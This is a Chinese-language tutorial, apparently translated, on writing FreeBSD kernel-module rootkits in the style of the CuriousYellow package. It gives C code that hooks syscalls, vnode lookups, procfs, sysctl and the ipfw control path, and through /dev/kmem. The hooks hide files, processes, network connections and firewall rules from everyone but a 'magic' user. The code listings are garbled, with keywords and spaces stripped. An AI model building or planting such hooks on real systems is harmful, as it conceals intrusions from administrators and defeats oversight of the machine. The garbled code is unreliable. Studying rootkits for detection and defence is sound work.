内核模块:玩转freebsd内核模块(1)

  1.介绍

  首先介绍内核模块概念还有系统概念,介绍说明点就是freebsd安全级别问题通常在2级就不可以加载模块了

  可以用sysctl调整设置或者在/etc/rc.conf中增加如下条目在启动时调整:

  kern_securelevel_enable="YES"

  kern_securelevel="2"

  本文only用来教育目:)所有涉及代码都可以在CuriousYellow(CY)中找到.

  1.2.内核模块

  请参考scz@nsfocus前辈翻译内核链接机制(KLD)编程指南>,如果你对linuxlkm了解这个很好理解在/usr/share/examples/kld/有简单例子

  1.2些有用

  这里给出些有用通常在系统中用到copyin/copyout/copyinstr/copyoutstr这几个可以用来从用户空间得到

  连续大块数据manpagecopy(9)可以得到更多了解在KLDtutorial也可以找到

  下面是个小例子来展示copyin使用方法我们构造了个带有串指针做参数系统通过copyin把串从用户空间移动到内核空间来

structexample_call_args{
  char*buffer;
};

example_call(structproc*p,structexample_call_args*uap)
{
  error;
  charkernel_buffer_copy[BUFSIZE];
  /*copyheuserdata*/
  error=copyin(uap->buffer,&kernel_buffer_copy,BUFSIZE);
  [...]
}
fetch/store
  这两个用来得到比较小块数据小到字节或者字长数据

  spl..

  这个用来调整中断优先级可以用来阻止某些中断处理执行下面例子中当中断处理指针icmp_input修改时

  它通常要经过些时时间所以我们要防止对这个中断处理

  2.思路方法

  这节列出些常用思路方法将在后面具体技术中使用比如隐藏进程网络连接当然这些思路方法也可以用来实现其他..

  2.1.修改指针

  最古老也最经常用思路方法修改指针用来指向你或者通过改写/dev/kmem达到相同(下面)

  注意当你修改了指针后要和原来有相同参数下面介绍了些通常用来hook内核

  2.1.1系统

  经典hook思路方法freebsd通过个全局sysent结构保持了系列系统参见/sys/kern/init_sysent.c

structsysentsysent={
    {0,(sy_call_t*)nosys},           /*0=syscall*/
    {AS(rexit_args),(sy_call_t*)exit},     /*1=exit*/
    {0,(sy_call_t*)fork},           /*2=fork*/
    {AS(read_args),(sy_call_t*)read},     /*3=read*/
    {AS(write_args),(sy_call_t*)write},    /*4=write*/
    {AS(open_args),(sy_call_t*)open},     /*5=open*/
    {AS(close_args),(sy_call_t*)close},    /*6=close*/
    [...]
  结构sysent在/sys/sys/syscall.h定义还有系统号也在此文件中定义比方说你想替换open这个系统在你模块加载MOD_LOAD节中这样做

  sysent[SYS_open]=(sy_call_t*)your__open

  然后在你模块卸载节中修复原来系统

  sysent[SYS_open].sy_call=(sy_call_t*)open;

  2.1.2.其它些有用

  系统不是唯可以修改地方在freebsd内核中还有些其它地方也可以利用特别是inetsw和各种文件系统vnode表.

  structipprotoswesw保存了系列被支持inet协议信息这其中包括了当这种协议数据报到达时或送出时用来处

  理参见/sys/netinet/in_proto.c得到更多信息所以我们也可以hook这里:)

  下面我们就可以在模块中hook了

  inetsw[ip_protox[IPPROTO_ICMP]].pr_input=_icmp_input;

  通常每种文件系统vnode表都是由多个具体组成所以我们可以替换它们来隐藏我们文件

  ufs_vnodeop_p[VOFFSET(vop_lookup)]=(vop_t*)_ufs_lookup;

  在内核中当然还有很多地方可以hook,这就取决你kernelsource是最重要文档

  2.1.3单个指针

  偶尔我们也会碰到单个指针比如说ip_fw_ctl_ptr这个用来处理ipfw请求这里我们也可以用来hook

  2.2.修改内核队列

  替换不够有意思呀:)也许你想修改内核中些数据些感兴趣东西都以队列形式存储在内核中如果你从来没有

  使用过/sys/sys/queue.h些宏你先要熟悉下它然后在进行下面阅读这可以让你轻松面对下面kernelsource

  并且在你使用这些宏时不会出错

  些感兴趣队列

  进程队列:strucproclistallproc和zombproc也许你并不想修改这东西进程调度除非你想重写大部分

  内核代码但是你可以过滤它当有用户请求时

  linker_files队列:这个队列中包括了连接到了kernel文件每个文件可以包含多个模块描述可以在这里找到(THCart

  icle)这篇文章连接是http://www.thehackerschoice.com/papers/bsdkern.html)自己找吧:)这个队列非常重要

  当我们改变符号地址或者隐瞒这个文件所包含模块

  模块队列:modulelist_t这个队列包含了加载内核模块注意这个模块队列区别于linker_files队列这对于隐藏模块很重要

  还是那句话最好文档就是kernelsource

  2.3读写内核内存

  模块并不是唯修改内核途径我们还可以直接修改内核空间通过/dev/kmem

  2.3.1.查找个符号地址

  当你处理内核内存时你首先感兴趣是用来读写符号正确地址(比如变量)在freebsd中Fvm(3)提供了些有用功能请参考manpage查询具体使用方法下面给出个例子读取指定符号地址在CY包中可以找到tools/findsym.c.

[...]
  charerrbuf[_POSIX2_LINE_MAX];
  kvm_t*kd;
  structnlistnl={{NULL},{NULL},};
  nl[0].n_name=argv[1];
  kd=kvm_openfiles(NULL,NULL,NULL,O_RDONLY,errbuf);
  (!kd){
    fprf(stderr,"ERROR:%s ",errbuf);
    exit(-1);
  }
  (kvm_nlist(kd,nl)<0){
    fprf(stderr,"ERROR:%s ",kvm_geterr(kd));
    exit(-1);
  }
  (nl[0].n_value)
    prf("symbol%sis0x%xat0x%x ",nl[0].n_name,nl[0].n_type,nl[0].n_value);  
  
    prf("%snotfound ",nl[0].n_name);
  (kvm_close(kd)<0){
    fprf(stderr,"ERROR:%s ",kvm_geterr(kd));
    exit(-1);
  }
  [...]
  2.3.2读数据

  现在你找到了些正确符号地址(比如说变量)你可能想要读些数据利用kvm_read代码tools/kvmread.c

  和tools/listprocs.c提供了个例子

  如果你想读取队列全部你只要找到队列头然后用next指针来找到下个元素(结构体)同样你可以获得其他数据通过

  这个struct指针比如说用户表示符(在这个结构中包含了uid,euid)下面给出了个例子(在listproc.c)当我们找到了allproc地址,这个队列

  头就确定了

[...]
  kvm_read(kd,nl[0].n_value,&allproc,(structproclist)); //allproc是所有进程队列头
  prf("PID UID ");                  
  for(p_ptr=allproc.lh_first;p_ptr;p_ptr=p.p_list.le_next){
    /*readthisprocstructure*/
  kvm_read(kd,(u_32_t)p_ptr,&p,(structproc));//p_ptr指向结构proc进程控制块
    /*readtheusercredential*/
  kvm_read(kd,(u_32_t)p.p_cred,&cred,(structpcred));//p_cred指向包含ruidsuid结构pcred
    prf("%d %d ",p.p_pid,cred.p_ruid);
  }
  2.3.3修改内核代码

  用同样思路方法我们可以来写内核代码了mankvm_write可以得到更多相关内容后面将会给出个例子如果你现在不耐烦了请看会tools/putjump.c吧

  3.通常应用

  3.1隐藏并重定向文件

  般最开始做就是就是隐藏文件了它也是最简单我们就从这里开始吧

  你hook可以在区别层次简单可以截获系统open,stat等等深入点你可以hook底层具体文件系统lookup

  3.1.1通过系统

  最普通思路方法嘿嘿被许多工具使用过了THC文档有具体描述

  (这篇文章连接是http://www.thehackerschoice.com/papers/bsdkern.html)

  这种思路方法通过截获open,stat,chmod系统来针对特别文件这种思路方法是最简单通过你提供系统_open

  检查带有某些特定来决定返回没有还是原来open系统例子来自于module/file-sysc.c:

  
  _open(structproc*p,registerstructopen_args*uap)
  {
    charname[NAME_MAX];
    size_tsize;
    /*getthesuppliedargumentsfromuserspace*/  
    (copyinstr(uap->path,name,NAME_MAX,&size)EFAULT)
      (EFAULT);
    /*theentryshouldbehiddenandtheuserisnotmagic,notfound*/
    (file_hidden(name)&&!(is_magic_user(p->p_cred->pc_ucred->cr_uid)))//检查特定文件名和用户uid
      (ENOENT);
    (open(p,uap));
  }
  还有些类似系统只有getdirentries有些特别它返回个目录列表所以要多做些变换(这个以前引起了不少讨论在linuxlkm中)THC文档有具体描述

  (这篇文章连接是http://www.thehackerschoice.com/papers/bsdkern.html)

  或者你可以通过hook地层具体文件系统某些这种思路方法好处就是不用修改系统表并且不被众多系统所受限制这些最终会在这里你还可以通过判断更多条件来决定是否隐藏这个文件

  每种文件系统vop(操作结构)决定了对区别种类操作所ufs文件系vop可以在/sys/ufs/ufs/ufs_vnops.c

  找到,procfs文件系统vop可以在/sys/miscfs/procfs/procfs_vnops.c中找到其它文件系统可以找到当你改变

  lookup同时也要改变相应cachedlookup(有缓存Cache呀时候先找缓存Cache)

  下面展示了个例子代码来自module/file-ufs.c

_ufs_lookup(structvop_cachedlookup_args*ap)
  {
    structcomponentname*cnp=ap->a_cnp;
    (file_hidden(cnp->cn_nameptr)&&
      !(is_magic_user((cnp->cn_cred)->cr_uid))){
      mod_debug("Hidingfile%s ",cnp->cn_nameptr);
      (ENOENT);
    }
    (old_ufs_lookup(ap));
  }
  在模块加载

externvop_t**ufs_vnodeop_p;
//vop_t**ufs_vnodeop_p指向structvnodeopv_entry_descufs_vnodeop_entries
//在文件/sys/ufs/ufs/ufs_vnops.c
  vop_t*old_ufs_lookup;
  
  load(structmodule*module,cmd,void*arg)
  {
    switch(cmd){
      MOD_LOAD:
        mod_debug("ReplacingUFSlookup ");
        old_ufs_lookup=ufs_vnodeop_p[VOFFSET(vop_lookup)];
        ufs_vnodeop_p[VOFFSET(vop_lookup)]=(vop_t*)_ufs_lookup;
        ;
      MOD_UNLOAD:
        mod_debug("RestoringUFSlookup ");
        ufs_vnodeop_p[VOFFSET(vop_lookup)]=old_ufs_lookup;
        ;
      default:
        error=EINVAL;
        ;
    }
    (error);
  }
  看比替换系统费不了多点事同样你需要修改ufs_readdir来防止getdirentries

  3.1.3概要评论

  文件重定向可以用多种思路方法来实现你可以用指定文件来代替被请求文件比如execve特定文件通过截获execve.

  通常都很简单了也许你想扩展用户空间可以通过vm_map_find来实现CY中有个例子展示

  3.2 隐藏进程

  还有个通常要做得事就是隐藏进程为了达到这个目你需要截获很多获得进程信息思路方法当然你也想保持对特定进程追踪每个进程信息都存储在proc结构中定义在/sys/sys/proc.h结构中有个标志域p_flag可以对进程设定

  特殊标志所以我们设定个新标志#P_HIDDEN0x8000000这样当个进程被隐藏时我们通过这个标志

  重新发现这个进程module/control.c有个例子来展示

  如果你用ps,它将会kvm_getprocs它将通过带有下面参数来sysctl

name[0]=CTL_KERN
name[1]=KERN_PROC
name[2]=KERN_PROC_PID,KERN_PROC_ARGSetc
name[3]cancontahepidininformationaboutonlyoneprocessisrequested.
  name是包含了mib变量(类似于snmpmib),描述了请求信息例如啥样sysctl操作和具体请求下面包含了请求子类型(相对KERN_PROC)来说

/*
*KERN_PROCsubtypes
*/
#KERN_PROC_ALL     0   /*everything*/
#KERN_PROC_PID     1   /*byprocessid*/
#KERN_PROC_PGRP     2   /*byprocessgroupid*/
#KERN_PROC_SESSION   3   /*bysessionofpid*/
#KERN_PROC_TTY     4   /*bycontrollingtty*/
#KERN_PROC_UID     5   /*byeffectiveuid*/
#KERN_PROC_RUID     6   /*byrealuid*/
#KERN_PROC_ARGS     7   /*get/arguments/proctitle*/
  这些最后会结束于__sysctlTHCarticle已经描述过了我用另种思路方法实现了它代码在module/process.c

  我们同样用这种思路方法来隐藏网络连接

  另外种或进程信息思路方法就是通过procfs,你不需要知道数据来源它是内核动态产生所以我们同样可以利用

  在文件隐藏节中提到两种思路方法来实现下面我给出了通过hookproc'slookup例子

/*
  *replacementforprocfs_lookup,thiswillbeusedhesomeonedoesn'tjust
  *doalsin/procbuttriestoenteradirwithacertainpid
  */
  
  _procfs_lookup(structvop_lookup_args*ap)
  {
    structcomponentname*cnp=ap->a_cnp;
    char*pname=cnp->cn_nameptr;
    pid_tpid;
    pid=atopid(pname,cnp->cn_namelen);
    (pid_hidden(pid)&&!(is_magic_user((cnp->cn_cred)->cr_uid)))
      (ENOENT);
    (old_procfs_lookup(ap));
  }
Youwouldthenreplaceitwhenyouloadthemodule:
  externstructvnodeopv_entry_descprocfs_vnodeop_entries;
  externstructvnodeopv_desc**vnodeopv_descs;
  vop_t*old_procfs_lookup;
  
  load(structmodule*module,cmd,void*arg)
  {
    switch(cmd){
      MOD_LOAD:
        mod_debug("Replacingprocfs_lookup ");
        old_procfs_lookup=procfs_vnodeop_p[VOFFSET(vop_lookup)];
        procfs_vnodeop_p[VOFFSET(vop_lookup)]=(vop_t*)_procfs_lookup;
        ;
      MOD_UNLOAD:
        mod_debug("Restoringprocfs_lookup ");
        procfs_vnodeop_p[VOFFSET(vop_lookup)]=old_procfs_lookup;
        ;
      default:
        error=EINVAL;
        ;
  }
  (error);
}
  3.2.2 隐藏子进程

  也许你想隐藏子进程防止被kill掉可以通过截获fork或者kill来达到此目在上面技术中也有很多可以利用技术

  module/process.c有个例子

  3.3.隐藏网络连接

  为了逃避netstat-an网络连接查询我们采用象隐藏进程思路方法它通过同样sysctl来查询当然mib变量是不对于tcp连接来说:

  name[0]=CTL_NET

  name[1]=PF_INET

  name[2]=IPPROTO_TCP

  name[3]=TCPCTL_PCBLIST

  像以前思路方法输出同样被过滤掉了然后返回给用户层sysctl,CY允许你来隐藏多样连接通过cyctl,参照

  module/process.c看如何修改__sysctl.

  3.4隐藏网络连接

  另个有趣就是隐藏防火墙规则可以用你简单替换ip_fw_ctlip_fw_ctl是ipfw控制比如

  添加删除列出规则所以我们可以截获这个来表演了;)

  CY控制提供了个选项来隐藏特定防火墙规则象隐藏进程我们可以设置个标志来标识需要隐藏规则当沿着ipfw规则队列遍历时每个规则都是种结构structip_fw,这个结构定义在/sys/netinet/ip_fw.h结构

  中有个条目叫做fw_flag,我们添加个新标志命名为IP_FW_F_HIDDEN

  #IP_FW_F_HIDDEN0x80000000

  module/fw.c中展示了个隐藏规则例子当用ipfw-l来列出规则时它将这个并且操作码为IP_FW_GET,我们就可以 来处理这个请求来隐藏我们特定规则并把其他规则传给原来ip_fw_ctl,我们通过遍历整个防火墙规则队列通过刚才设定标志(fw_flag)来查找我们特定规则然后减少输出来达到隐藏

  既然freebsdipfw提供了forward和divert(类似于nat种功能但是工作在应用层和ipfilternat功能有本质差别)

Tags:  freebsd6.1 freebsd7.1 linux内核模块 内核模块

延伸阅读

最新评论

发表评论